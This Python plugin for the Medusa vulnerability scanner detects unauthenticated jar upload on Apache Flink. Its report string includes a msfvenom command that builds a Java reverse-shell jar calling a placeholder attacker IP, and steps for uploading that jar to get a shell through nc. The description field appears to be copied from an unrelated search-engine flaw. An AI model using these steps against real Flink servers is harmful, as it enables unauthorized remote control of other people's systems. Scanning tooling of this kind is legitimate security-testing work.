#!/usr/bin/env python
# -*- coding: utf-8 -*-

__author__ = 'Ascotbe'
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from ClassCongregation import VulnerabilityDetails,UrlProcessing,ErrorLog,WriteFile,ErrorHandling
class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number']="0" #如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['create_date'] = "2020-2-20"  # 插件编辑时间
        self.info['disclosure']='2019-11-15'#漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "FlinkUnauthorizedCommandExecutionVulnerability"  # 插件名称
        self.info['name'] ='Flink未授权命令执行漏洞' #漏洞名称
        self.info['affects'] = "Flink"  # 漏洞组件
        self.info['desc_content'] = "原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过http收到一个XML/JSON响应来实现。"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['suggest'] = "尽快升级最新系统"  # 修复建议
        self.info['version'] = "1.9.1之前版本"  # 这边填漏洞影响的版本
        self.info['details'] = Medusa  # 结果


def medusa(**kwargs)->None:
    url=kwargs.get("Url")#获取传入的url参数
    Headers=kwargs.get("Headers")#获取传入的头文件
    proxies=kwargs.get("Proxies")#获取传入的代理参数

    try:
        payload_url=url+'/jar/upload'
        getshell="msfvenom -p java/shell_reverse_tcp lhost=you_ip lport=5555 -f jar >/root/Desktop/shell.jar\r\n生成jar包后在主页找到Submit New Job位置上传jar包\r\n最后点进上传好的jar包后再点击Submit即可在nc上getshell"
        resp = requests.get(payload_url,headers=Headers,proxies=proxies, timeout=6, verify=False)
        con=resp.text
        code=resp.status_code
        if con.find("Unable to load requested file /jar/upload")!=-1 and code==404:
            Medusa = "{}存在Flink未授权命令执行漏洞\r\n验证数据:\r\n漏洞位置:{}\r\n返回内容:{}\r\nGetshell方法:\r\n{}\r\n".format(url,payload_url,resp.text,getshell)
            _t = VulnerabilityInfo(Medusa)
            VulnerabilityDetails(_t.info, resp,**kwargs).Write()  # 传入url和扫描到的数据
            WriteFile().result(str(url),str(Medusa))#写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ErrorHandling().Outlier(e, _)
        _l = ErrorLog().Write("Plugin Name:"+_+" || Target Url:"+url,e)#调用写入类